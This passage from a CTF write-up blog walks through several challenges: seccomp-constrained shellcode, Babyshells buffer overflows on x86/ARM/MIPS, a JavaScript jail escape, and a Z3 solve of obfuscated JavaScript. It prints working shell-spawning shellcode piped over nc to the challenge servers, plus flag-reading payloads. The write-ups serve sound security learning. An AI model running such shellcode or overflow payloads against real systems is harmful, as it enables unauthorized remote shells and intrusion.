*R11 0x246
*R12 0x7fc5de4487d0 <— xor ebp, ebp
*R13 0x7fffa312c570 <— 0x1
*R14 0x0
*R15 0x0
*RBP 0x7fffa312c490 <— 0x0
*RSP 0x7fc5de652fe0 <— 0
*RIP 0x7fc5de64f001 <— 0xcccccccccccccccc
[───────────────────────────────────DISASM────────────────────────────────────]
0x7fc5de64f000 int3
► 0x7fc5de64f001 int3
</pre>
<br />
The assembly instructions in RDX look very familiar from previous reversing. Looking at the positive flow after the seccomp rules are setup, this function is called:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJKUjvg9VlnyKUs11ykBAijRTZDTn7sUGMrzrYaFrI9FOHHI9S2AdZxD400Q50tzag5m-BQ5cvjwgyRT0S2MO5Y7Vufg8dTr-dWPR0jSB63MNsv_uxS1RTBchL_C3lmrzrZIMQEIEywow/s1600/jmp-rdi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="147" data-original-width="503" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJKUjvg9VlnyKUs11ykBAijRTZDTn7sUGMrzrYaFrI9FOHHI9S2AdZxD400Q50tzag5m-BQ5cvjwgyRT0S2MO5Y7Vufg8dTr-dWPR0jSB63MNsv_uxS1RTBchL_C3lmrzrZIMQEIEywow/s1600/jmp-rdi.png" /></a></div>
<br />
We can verify the next instruction of RDX is 'jmp rdi' as well:<br />
<br />
<pre>pwndbg> x/2i 0x7fc5de449190
0x7fc5de449190: mov rsp,rsi
0x7fc5de449193: jmp rdi
</pre>
<br />
Remember the flag was @ 0x2b428. Subtracting this from the offset of the instruction above to get the required amount to add to RDX:<br />
<br />
<pre>pwndbg> p/x 0x2b428 - 0x22190
$1 = 0x9298
pwndbg> x/s $rdx + 0x9298
0x7fc5de452428: "./flag.txt"</pre>
<br />
Now we can write a small amount of assembly to take care of this before we reach the open syscall:
<br />
<br />
<pre>add rdx, 0x9298
mov rax, rdx</pre>
<br />
Using <a href="https://docs.pwntools.com/en/stable/shellcraft.html">shellcraft</a> from <a href="https://github.com/Gallopsled/pwntools#readme">pwntools</a> will be very useful in this situation to generate custom shellcode:
<br />
<br />
<pre>o = pwnlib.shellcraft.open('rax', 0)
s = pwnlib.shellcraft.sendfile(1, 'rax', 0, 40)
</pre>
<br />
This executes open using the address of './flag.txt' we loaded into RAX, setting the oflag to 0 or O_RDONLY for a read-only mode. Then it executes sendfile writing to stdout (1), using the address returned from open (RAX), the offset into the string (0), and the amount of bytes to read.<br />
<br />
Putting this all together we get a client that looks something like this:<br />
<br />
<script src="https://gist.github.com/vitapluvia/e21126cc434a5a5f942e7b39e599cc65.js"></script>
<br />
Running this client against the CTF server, we get a flag!<br />
<br />
<pre>$ python client.py NOPTRACE
flag:i_can_haz_shellcodez
</pre>
<br />
If you'd like to read more about the coder series of binaries for BSidesSF 2018, check out <a href="https://twitter.com/matir">@matir</a>'s excellent post! - <a href="https://systemoverlord.com/2018/04/21/bsidessf-ctf-2018-coder-series-authors-pov.html">https://systemoverlord.com/2018/04/21/bsidessf-ctf-2018-coder-series-authors-pov.html</a>
<br />
</div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-33678318944972541552018-04-23T22:35:00.001-07:002018-04-23T22:35:12.389-07:00Midnight Sun CTF Quals 2018 - Babyshells & Jeil<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<br />
<div class="example">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikeNekczOQMjENBG0I3_4UmNP4yfrcM_NiRuubTqDEX44dfUp1bgXEUQHXj-LXZGvxUc-k7_mviX1qHzkSwQ5wLMVY1DINwHvKQLMbSQ4Cjf-xu6_fMN_QnKfvNQX8bS65bOFBxyNEnP0/s1600/midnight-sun-scores.png" imageanchor="1" style="margin-left: -3em; margin-right: 1em;"><img border="0" data-original-height="558" data-original-width="935" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikeNekczOQMjENBG0I3_4UmNP4yfrcM_NiRuubTqDEX44dfUp1bgXEUQHXj-LXZGvxUc-k7_mviX1qHzkSwQ5wLMVY1DINwHvKQLMbSQ4Cjf-xu6_fMN_QnKfvNQX8bS65bOFBxyNEnP0/s1600/midnight-sun-scores.png" /></a></div>
<br />
This CTF was a lot of fun! The style of the board and assets in the game were extremely creative and well done!
<br />
<br />
Here are the challenges from the competition:
<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh8pAcwf_pUTrg0-s7C8mglBrx9QaPXaBBr3u0QjwhWgCDgrG2-WBjSWoxaGW1XbFAVUkpDNE38a88fARJbXfkgWCW7mjYKVpfdj3cYqqvDLWQ2Q3r73jttXgbzcxwYTNtZQ_mMjqzznQ/s1600/midnight-sun-challenges.png" imageanchor="1" style="margin-left: -2em; margin-right: 1em;"><img border="0" data-original-height="366" data-original-width="901" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh8pAcwf_pUTrg0-s7C8mglBrx9QaPXaBBr3u0QjwhWgCDgrG2-WBjSWoxaGW1XbFAVUkpDNE38a88fARJbXfkgWCW7mjYKVpfdj3cYqqvDLWQ2Q3r73jttXgbzcxwYTNtZQ_mMjqzznQ/s1600/midnight-sun-challenges.png" /></a>
<br />
<br />
First we're going to start with <a href="#babyshells">Babyshells</a>, a simple 50pt pwn challenge. Then move onto <a href="#jeil">Jeil</a>, a 200pt pwn challenge involving a JavaScript jail.
<br />
<br />
<br />
<a href="#babyshells"></a><h3 id="babyshells"><a href="#babyshells">Babyshells</a></h3>
<br />
Description:
<br />
<br />
<pre>If you hold a babyshell close to your ear, you can hear a stack getting smashed
Solves: 71
Service: nc 52.30.206.11 7000 (x86) | nc 52.30.206.11 7001 (ARM) | nc 52.30.206.11 7002 (MIPS)
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/babyshells.tar.gz
Author: likvidera
</pre>
<br />
This one was a simple baby's first 90's shellcode style exploitation challenge, with the caveat that you have to exploit a binary on multiple architectures to get the flag.
<br />
<br />
Each binary would drop a part of the flag, so in order to complete the challenge, you would need to exploit all of them.
<br />
<br />
Running the x86 binary we get some nice ASCII art : ) -- It's also easy to make it crash!
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8Yc9yyyImXZRBZDJzuOytYTGdDuaKU3OZEdWN8qKKS1QSsQhGfYY3Y3j_N5lxS6aveDtm_x6tCVYrW8-spRaX7DNLueEFOcfvdrVBYijEsX0S2TQR8Btcurd_e-wkCBa5mnlA2TM3VAU/s1600/babyshells.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="716" data-original-width="549" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8Yc9yyyImXZRBZDJzuOytYTGdDuaKU3OZEdWN8qKKS1QSsQhGfYY3Y3j_N5lxS6aveDtm_x6tCVYrW8-spRaX7DNLueEFOcfvdrVBYijEsX0S2TQR8Btcurd_e-wkCBa5mnlA2TM3VAU/s1600/babyshells.png" /></a></div>
<br />
<br />
Starting with dynamic analysis, cyclic will show the offset of the SIGSEGV as 40, but when using the interrupt (0xCC) we find the exact offset to be 38 (this offset will be used across all binaries in this challenge):
<br />
<br />
<pre>$ gdb ./chall
pwndbg> r <<< $(python -c 'from pwn import *; print "1\n" + cyclic(100)')
...
*EIP 0xffffce6a &lt;— 0x6161616b ('kaaa')
pwndbg> cyclic -l 0x6161616b
40
$ python -c 'from pwn import *; print "1\n" + "A"*38 + "\xcc"' | strace -i ./chall |& grep SIGTRAP
[ff81a049] --- SIGTRAP {si_signo=SIGTRAP, si_code=SI_KERNEL} ---
</pre>
<br />
Now we just need some shellcode! Heading over to <a href="http://shell-storm.org/shellcode/">shell-storm</a> we can grab a few that will work for these challenges.<br />
<br />
Starting with one for x86, we get our first shell:
<br />
<br />
<pre>$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'"; cat) | nc 52.30.206.11 7000
cat flag
midnight{pwn_all_the_x86_
</pre>
<br />
We have our flag chunk, now let's go onto the next architecture - arm.
<br />
<br />
The organizers were nice enough to included qemu-arm with the challenge package, as well as a Docker setup to get up and running with the challenges quickly.
<br />
<br />
The same payload with shellcode specific to arm also popped a shell:
<br />
<br />
<pre>$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x00'"; cat) | nc 52.30.206.11 7001
cat flag
pwn_all_th3_4rm
</pre>
<br />
<br />
Same story with mips (it took a while to find a working payload for this one):
<br />
<br />
<pre>(python -c "from pwn import *; print '1\n' + '\x90'*38 + '\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c'"; cat) | nc 52.30.206.11 7002
cat flag
_pWN_4ll_th3_m1p5}
</pre>
<br />
All of the flag chunks together turned out to be the final flag:
<br />
<br />
<pre>midnight{pwn_all_the_x86_pwn_all_th3_4rm_pWN_4ll_th3_m1p5}
</pre>
<br />
<a href="#jeil"></a>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWQT6KsxPb-esy9y4CC_4KaZQFkB9e45GjQCk918d63-CdcNu4MZ32tNdq0e9jqeuKf7A84do_EVXl0BOeI80_sRtAJ8oFSTj1inF8XSVQcZ81dTX16Vlfiemsp8uIx8iiTKKMLRcGNyI/s1600/night-bridge.jpg" imageanchor="1" style="margin-left: -3.5em; margin-right: 1em;"><img border="0" data-original-height="640" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWQT6KsxPb-esy9y4CC_4KaZQFkB9e45GjQCk918d63-CdcNu4MZ32tNdq0e9jqeuKf7A84do_EVXl0BOeI80_sRtAJ8oFSTj1inF8XSVQcZ81dTX16Vlfiemsp8uIx8iiTKKMLRcGNyI/s1600/night-bridge.jpg" /></a></div>
<br />
<h3 id="jeil"><a href="#jeil">Jeil</a></h3>
<br />
Description:
<br />
<br />
<pre>You are awesome at breaking into stuff, how about breaking out?
Solves: 32
Service: nc web2.midnightsunctf.se 55542 | nc 34.244.177.217 55542
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/jeil.tar.gz
Author: avlidienbrunn
</pre>
<br />
<br />
So this challenge is all about breaking out of a JavaScript jail. The source of this challenge may be found here:
<a href="https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jail.js_source.js">https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jail.js_source.js</a>.<br />
<br />
This was the source included with the challenge, and it includes some template strings to generate a new instance of the server. To help with iteration, there's another upload including a fake flag to use during initial exploration: <a href="https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jeil-example.js">https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jeil-example.js</a>
<br />
<br />
An easy way to test this script out is to use <a href="https://nodejs.org/">Node.js</a>.
<br />
<br />
To run it, just call the js file with Node (after installing the dependency readline):
<br />
<br />
<pre>$ npm i
$ node jeil-example.js
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
| Internal |
|________|
||
(\__/) ||
(•ㅅ•) ||
/ づ
Code: AAAA
Unrecognized code.
readline.js:1021
throw err;
^
123
</pre>
<br />
<br />
With the naive input 'AAAA' as an example, we get an error thrown saying '123'. If we look in the code, this error occurs in three places:
<br />
<br />
<br />
Character black list:
<br />
<br />
<pre>if(new RegExp(/[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/).test(code)){
console.log("Unrecognized code.");
throw 123;
return;
}
</pre>
<br />
Input length is not equal to 32:
<br />
<br />
<pre>if(!(code.length == 32)){
console.log("Incorrect code length.");
throw 123;
return;
}
</pre>
<br />
Evaluated code with "this.secretFuncUnguessable" prepended is not a function:
<br />
<br />
<pre>ret = eval("this.secretFuncUnguessable"+code);
if(typeof ret == "function"){
if(ret.call(this,'foo', 'bar', 'baz') === true){
console.log("FLAG{F4k3_Fl4g!!!}");
}else{
console.log("Incorrect code.");
}
}else{
console.log("Incorrect code.");
}
throw 123;
</pre>
<br />
<br />
To reiterate the rules we need to pass for our payload:<br />
<br />
<ul>
<li>needs to be exactly 32 bytes</li>
<li>chars must not be in regex /[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/</li>
<li>evaluated "this.secretFuncUnguessable" + code must be a function type</li>
</ul>
<br />
The first two rules are simple to pass, the last is somewhat tricky.<br />
If you remember from the source, "this.secretFuncUnguessable{{ENV_SECRET_0}}" is defined in the source, but we do not know ENV_SECRET_0, and we probably don't want to guess it.<br />
Instead we can figure out how to call our own function to pass the last check.<br />
<br />
We know that "this.secretFuncUnguessable" does not exist unless ENV_SECRET_0 is set to "". We can use that assumption to our advantage by starting with the or operator in JavaScript. this will return the second value (our code) if the first is undefined. Here's a simple example:<br />
<br />
<pre>> const foo = undefined;
> const result = foo || 'AAAA';
> result
'AAAA'</pre>
<br />
It's also easy to create a function in later versions of node without braces using the arrow function:
<br />
<br />
<pre>> () => 123
[Function]
</pre>
<br />
We can create a simple function which returns true by comparing 1 against itself:
<br />
<br />
<pre>> (()=>1==1)()
true
</pre>
<br />
Now we have a working payload, we just need to add some padding to make it 32 bytes:<br />
<br />
<pre>> result = undefined || (()=>1==1)
> typeof result
'function'
> result()
true
</pre>
<br />
With the padding:<br />
<br />
<pre>||(()=>11111111111==11111111111)
</pre>
<br />
<br />
There are many other variations that could be created such as:<br />
<br />
<pre>
||000000000000000000||(()=>1==1)
||00||00||00||00||00||(()=>1==1)
||(()=>1==1)||000000000000000000
||(((((((((((()=>1==1)))))))))))
||(()=>(()=>123)()==(()=>123)())
||(()=>1*1*1*1*1*1*1*1*1*1*1==1)
||(()=>0!=111111111111111111111)
||(()=>(()=>(()=>((0==0)))())())
</pre>
<br />
<br />
Now if we try this against the sample server we get the fake flag!
<br />
<br />
<pre>$ echo '||(()=>11111111111==11111111111)' | node ./jeil-example.js
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
| Internal |
|________|
||
(\__/) ||
(•ㅅ•) ||
/ づ
Code: ||(()=>11111111111==11111111111)
32
FLAG{F4k3_Fl4g!!!}
</pre>
<br />
<br />
When this is run against the CTF server, we get the actual flag:<br />
<br />
<pre>$ echo '||(()=>11111111111==11111111111)' | nc 34.244.177.217 55542
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
| Internal |
|________|
||
(\__/) ||
(•ㅅ•) ||
/ づ
Code: midnight{f33lin_fr1sky_f0r_funky_funct10nz}</pre>
<br /></div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-15088488554037478622018-04-18T22:49:00.001-07:002018-04-18T22:49:35.558-07:00Byte Bandits CTF 2018 - laz3y (350)<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOJSJxSxzhI1TN2x1m6TTLuFcbf1i8GoUzCVzLIFFRIn7OIE31Il1f73L_Wx-bkJtHsO0TNPMdtmvhmftXQ_fCiSyB-l3cmkgq9K_y5gBdWzXpVgtnW_rKOJiRTWli6rB_D54hyYYXSX4/s1600/telephone-1822040_960_720.jpg" imageanchor="1" style="margin-left: -4em; margin-right: 1em;"><img border="0" data-original-height="544" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOJSJxSxzhI1TN2x1m6TTLuFcbf1i8GoUzCVzLIFFRIn7OIE31Il1f73L_Wx-bkJtHsO0TNPMdtmvhmftXQ_fCiSyB-l3cmkgq9K_y5gBdWzXpVgtnW_rKOJiRTWli6rB_D54hyYYXSX4/s1600/telephone-1822040_960_720.jpg" /></a></div>
<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<br />
<div class="example">
In this challenge we're presented with a web server which contains a heavily obfuscated JavaScript file as one of it's resources.<br />
<br />
We're going to jump into an intro of <a href="#z3-solve">Z3</a> to solve parts of this challenge after some initial <a href="#reversing">reversing</a>.
<br />
<br />
If you would like to watch a better version of the topics discussed in this blog post, check out <a href="https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w">LiveOverflow</a>'s great video on "Using z3 to find a password and reverse obfuscated JavaScript" - <a href="https://www.youtube.com/watch?v=TpdDq56KH1I">https://www.youtube.com/watch?v=TpdDq56KH1I</a>. It helped a lot when attempting to solve this challenge.
<br />
<br />
<a href="#reversing"></a><br />
<h3 id="reversing">
<a href="#reversing">Reversing</a></h3>
<br />
Here's a snippet of the file which was beautified using the online service <a href="http://jsnice.org/">jsnice</a>:
<br />
<br />
<pre>(function() {
_0x13c3dd(this, function() {
if (_0x15c2('0x7') === _0x15c2('0x7')) {
var _0x42483f = new RegExp('function\x20*\x5c(\x20*\x5c)');
var _0x43babc = new RegExp(_0x15c2('0x8'), 'i');
var _0x53dbc9 = _0x4f7527(_0x15c2('0x4'));
if (!_0x42483f[_0x15c2('0x5')](_0x53dbc9 + _0x15c2('0x6')) || !_0x43babc[_0x15c2('0x5')](_0x53dbc9 + 'input')) {
if (_0x15c2('0x9') === _0x15c2('0x9')) {
_0x53dbc9('0');
} else {
return !![];
}
} else {
if ('CJMng' === _0x15c2('0xa')) {
_0x4f7527();
} else {
return !![];
}
}
} else {
return function(_0x256bf0) {}[_0x15c2('0xb')](_0x15c2('0xc'))[_0x15c2('0xd')](_0x15c2('0xe'));
}
})();
}());
</pre>
<br />
We can jump to potentially interesting parts of the code to find out what's going on.
<br />
<br />
One interesting part included a 'Flag{' string. This was used to build up the final flag, stored originally in a giant array of mixed snippets used for various reasons:
<br />
<br />
<pre>var _0x387a = ["GfKdJ", ... "slice", "tryingharder", "Flag{", "log", "Invalid Password", "pDsTn", "UOAuo", ... ];
</pre>
<br />
There's another interesting part of the code which contains the variable 'solver' -- sounds like this may help us solve the challenge. It's also a hint mixed with the challenge title 'laz3y' referencing the <a href="https://github.com/Z3Prover/z3">Z3</a> SMT solver.
<br />
<br />
<pre>function solver(value) {
if (!/[^nfTzhb_0FAiuctxlswa!]/[_0xd1e9[9]](value) &&
value[29] == _0xd1e9[10] &&
value[4] == value[8] &&
value[10] == value[14] &&
value[17] == _0xd1e9[11] &&
value[4] == _0xd1e9[11] &&
leng(value) &&
crypto(value) &&
a(value) &&
b(value) &&
c(value) &&
d(value) &&
f(value)) {
if (_0x15c2("0x26") === _0x15c2("0x26")) {
console[_0xd1e9[14]](_0xd1e9[12] + value + _0xd1e9[13]);
} else {
return !![];
}
} else {
if (_0x15c2("0x27") !== "DbvWm") {
/** @type {!Function} */
var advancement = firstCall ? function() {
if (fn) {
var denies = fn[_0x15c2("0xd")](context, arguments);
/** @type {null} */
fn = null;
return denies;
}
} : function() {
};
/** @type {boolean} */
firstCall = ![];
return advancement;
} else {
console[_0xd1e9[14]](_0xd1e9[15]);
}
}
}
</pre>
<br />
Executing the script in a stub html file and looking at the following value we can see it's just a console.log pulled from one of the obscure array's:
<br />
<br />
<pre>console[_0xd1e9[14]](_0xd1e9[15]);
...
console['log']("Invalid Password");
</pre>
<br />
The same is with the first condition after all the conditional checks:
<br />
<br />
<pre>console[_0xd1e9[14]](_0xd1e9[12] + value + _0xd1e9[13]);
...
console['log']("Flag{" + value + "}");
</pre>
<br />
<br />
There are also a lot of false flows in this obfuscated code, so we can reduce this function to the following:
<br />
<br />
<pre>function solver(value) {
if (!/[^nfTzhb_0FAiuctxlswa!]/.test(value) &&
value[29] == "!" &&
value[4] == value[8] &&
value[17] == "_" &&
value[4] == "_" &&
leng(value) &&
crypto(value) &&
value[10] == value[14] &&
a(value) &&
b(value) &&
c(value) &&
d(value) &&
f(value)) {
console.log("Flag{" + value + "}");
} else {
console.log("Invalid Password");
}
}
</pre>
<br />
Now we need to analyze each one of these functions to make sure we can setup input to make it pass.
<br />
<br />
Starting with the interesting sounding function first 'crypto', isn't heavily related to cryptography:
<br />
<br />
<pre>function crypto(context) {
var val = "";
var row = context.slice(18, 29);
var masks = [68, 16, 31, 28, 29, 4, 9, 21, 27, 84, 11, 114];
for (var i = 0; i <= row.length; i++) {
val += String.fromCharCode(row.charCodeAt(i) ^ masks[i]);
}
return val == "tryingharder";
}
</pre>
<br />
Looking at this, we can tell it wants the result of "tryingharder" by xor'ing against a given mask.<br />
<br />
Reversing this process, we'll get the expected value for part of the flag:
<br />
<br />
<pre>$ python
>>> from pwn import *
>>> masks = [68, 16, 31, 28, 29, 4, 9, 21, 27, 84, 11, 114]
>>> tryHarder = "tryingharder"
>>> ''.join([xor(tryHarder[i], masks[i]) for i in range(len(masks))])
'0bfuscati0n\x00'
</pre>
<br />
<br />
Continuing with each function, we can inline any obvious values and write simple formulas for others (//X// comments represent known values to skip during the constraint solve):
<br />
<br />
<pre>190 value[29] == "!" && //X// payload[29] = '!'
191 value[4] == value[8] && //X// 08 & 04 = '_'
192 value[17] == "_" && //X// payload[17] = '_'
193 value[4] == "_" && //X// payload[4] = '_'
194 leng(value) && //X// len(payload) == 30
195 crypto(value) && //X// payload[18:29] == 0bfuscati0n
196 value[10] == value[14] && // p[10] == p[14]
197 a(value) && // p[3] - p[0] == 32 && p[5] - p[12] == 71
198 b(value) && //X// p[12] == p[15] &&
199 //X// p[11] == "l" &&
200 //X// p[12] == "0" &&
201 //X// p[13] == "T" &&
202 //X// p[0] == p[13]
203 c(value) && // p[9] + p[6] - p[1] == 58;
204 d(value) && // (p[0] * p[1] * p[2] * p[3]) / 128 === 767949;
205 f(value)) { // (p[5] * p[6] * p[7]) / 25 === 35581;
</pre>
<br />
<br />
We only have five constraints to solve for! With the other values, we get the following partial flag from the static analysis done so far:<br />
<br />
<pre>T???_???_??l0T?0?_0bfuscati0n!
</pre>
<br />
<a href="#z3-solve"></a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqB_4R3ULgyvKpnzaS44WNV0rGLtzPHX-d1K-S985N7MmwpDz4hI7qdShw0ZBjzuo8tTkKmc8zE5jP-i8seVoknz2_HSaIZMR0vqbXNjTY1_hrQ4-DjrFef1Ub3aD9MQJjWGHcOzfuNIY/s1600/photo-1440915261604-8f4cc0ac2bfd+%25281%2529.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1001" data-original-width="1500" height="427" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqB_4R3ULgyvKpnzaS44WNV0rGLtzPHX-d1K-S985N7MmwpDz4hI7qdShw0ZBjzuo8tTkKmc8zE5jP-i8seVoknz2_HSaIZMR0vqbXNjTY1_hrQ4-DjrFef1Ub3aD9MQJjWGHcOzfuNIY/s640/photo-1440915261604-8f4cc0ac2bfd+%25281%2529.jpeg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h3 id="z3-solve">
<a href="#z3-solve">Z3 Solve</a></h3>
<br />
If you haven't heard of Z3 before, check out the <a href="https://github.com/0vercl0k/z3-playground">Z3-Playground</a> repo, it has some fantastic examples of how to use Z3 in general and for security related tasks.
<br />
<br />
Using the basic hello-world example from Z3-Playground we can add one constraint to see how Z3 works. We give it two variables a & b, then say a + b is equal to 1337, also b is above 20.
<br />
<br />
<pre>from z3 import *
a, b = BitVecs('a b', 32)
s = Solver()
s.add((a + b) == 1337)
s.add(b > 20)
if s.check() == sat:
print s.model()
else:
print 'Unsat'
</pre>
<br />
Letting z3 solve for this, it will return input which satisfies these constraints:
<br />
<br />
<pre>$ python hello.py
[b = 21, a = 1316]
</pre>
<br />
The values 21 and 1316 do sum to 1337, so it looks like this works!
<br />
<br />
Now we can get into solving this challenge!
<br />
<br />
Instead of using BitVecs for variables, we'll be using integer values representing characters.
<br />
Initializing the unknown flag, we use the z3 Int type:
<br />
<br />
<pre>flag = [Int(i) for i in xrange(30)]
</pre>
<br />
<br />
If you remember from above, the important constraints we need to setup are:
<br />
<br />
<pre>196 value[10] == value[14] && // p[10] == p[14]
197 a(value) && // p[3] - p[0] == 32 && p[5] - p[12] == 71
203 c(value) && // p[9] + p[6] - p[1] == 58;
204 d(value) && // (p[0] * p[1] * p[2] * p[3]) / 128 === 767949;
205 f(value)) { // (p[5] * p[6] * p[7]) / 25 === 35581;
</pre>
<br />
<br />
Changing 'p' to 'flag' and wrapping a solve add around them will get us most of the way there:
<br />
<br />
<pre>s.add(flag[10] ≡ flag[14])
s.add(flag[3] - flag[0] ≡ 32)
s.add(flag[5] - flag[12] == 71)
s.add(flag[9] + flag[6] - flag[1] ≡ 58)
s.add((flag[0] * flag[1] * flag[2] * flag[3]) / 128 ≡ 767949)
s.add((flag[5] * flag[6] * flag[7]) / 25 ≡ 35581)
</pre>
<br />
There are six constraints instead of five here, this is because line 197 was split into two separate constraints for readability.
<br />
<br />
We should also setup the parts of the flag we know about already:
<br />
<br />
<pre>partial = 'T???_???_??l0T?0?_0bfuscati0n!'
for x in range(len(partial)):
if partial[x] is not '?':
s.add(flag[x] ≡ ord(partial[x]))
</pre>
<br />
And setup the flag to be within a printable range:<br />
<br />
<pre>for x in range(0, 30):
s.add(flag[x] >= ord('!') and flag[x] <= ord('z'))
</pre>
<br />
With all of this setup, we could attempt to print the flag (converting ints to chars in the process):
<br />
<br />
<pre>if s.check() == sat:
m = s.model()
print 'Flag{' + ''.join([chr(m[x].as_long()) for x in flag]) + '}'
else:
print 'Not Found.'
</pre>
<br />
This yields:
<br />
<br />
<pre>
Flag{That_wsA_/zl0Tz0z_0bfuscati0n!}
</pre>
<br />
This is very close! But not there yet! There are a few errors to work out.
<br />
First part that seems off is the '/' character, it doesn't seem likely it would be in this flag and if it was, it wouldn't be in that position.
<br />
<br />
So for this we'll setup a constraint against it:
<br />
<br />
<pre>
s.add(flag[9] != ord('/'))
...
Flag{Taht_wsA_(zl0Tz0z_0bfuscati0n!}
</pre>
<br />
Now the slash character is fixed, but we have some other problems, Taht was switched, and wsA looks like the word 'was'. To fix the first word, we'll constrain the 'h' where it was:
<br />
<br />
<pre>
s.add(flag[1] == ord('h'))
...
Flag{That_wAs_azl0Tz0z_0bfuscati0n!}
</pre>
<br />
If we look at 'wAs_azl0T', it looks like the words 'was a lot' so there's a missing space between 'a' and 'lot', we'll add this with an underscore:
<br />
<br />
<pre>
s.add(flag[10] == ord('_'))
</pre>
<br />
Now when we run this we get the Flag!<br />
<br />
<pre>Flag{That_wAs_a_l0T_0z_0bfuscati0n!}
</pre>
<br />
This was the final Z3 client for the solve:
<br />
<br />
<script src="https://gist.github.com/vitapluvia/c1ba814c191e74bef9f3bab0e2096ca3.js"></script>
</div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-78757002782526465952018-04-08T17:19:00.000-07:002018-04-08T17:19:22.607-07:00Byte Bandits CTF 2018 - hard_to_hack (400)<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<br />
<div class="example">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf7odFr-vBB6XM_myk6jsg2w1ZY2LkdCV6DHDkuQ6n-zTSvd5-SzYUqjIh3i2ex3rOyzJcsK2vx4suOpb_kF4GRZbnDBgGoWuOGsHJSnHptIjummjYpymrmgi4Ib5O4llCKFwNm0gyKQs/s1600/ota_shrine.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="560" data-original-width="420" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf7odFr-vBB6XM_myk6jsg2w1ZY2LkdCV6DHDkuQ6n-zTSvd5-SzYUqjIh3i2ex3rOyzJcsK2vx4suOpb_kF4GRZbnDBgGoWuOGsHJSnHptIjummjYpymrmgi4Ib5O4llCKFwNm0gyKQs/s1600/ota_shrine.jpg" /></a></div>
<br />
This was another Jinja2 template injection challenge (they've been showing up a lot recently).
<br />
This time they denied access to properties such as '__mro__' and '__class__' which show up in top python SSTI tutorials. Here's a good example of one - <a href="https://nvisium.com/resources/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html">Exploring SSTI in Jinja2</a>
<br />
<br />
There's another writeup on this blog about Jinja2 injection using a similar method found above, from the BSidesSF 2017 CTF - <a href="https://fadec0d3.blogspot.com/2017/02/blog-post.html#zumbo-3">Zumbo3</a>
<br />
<br />
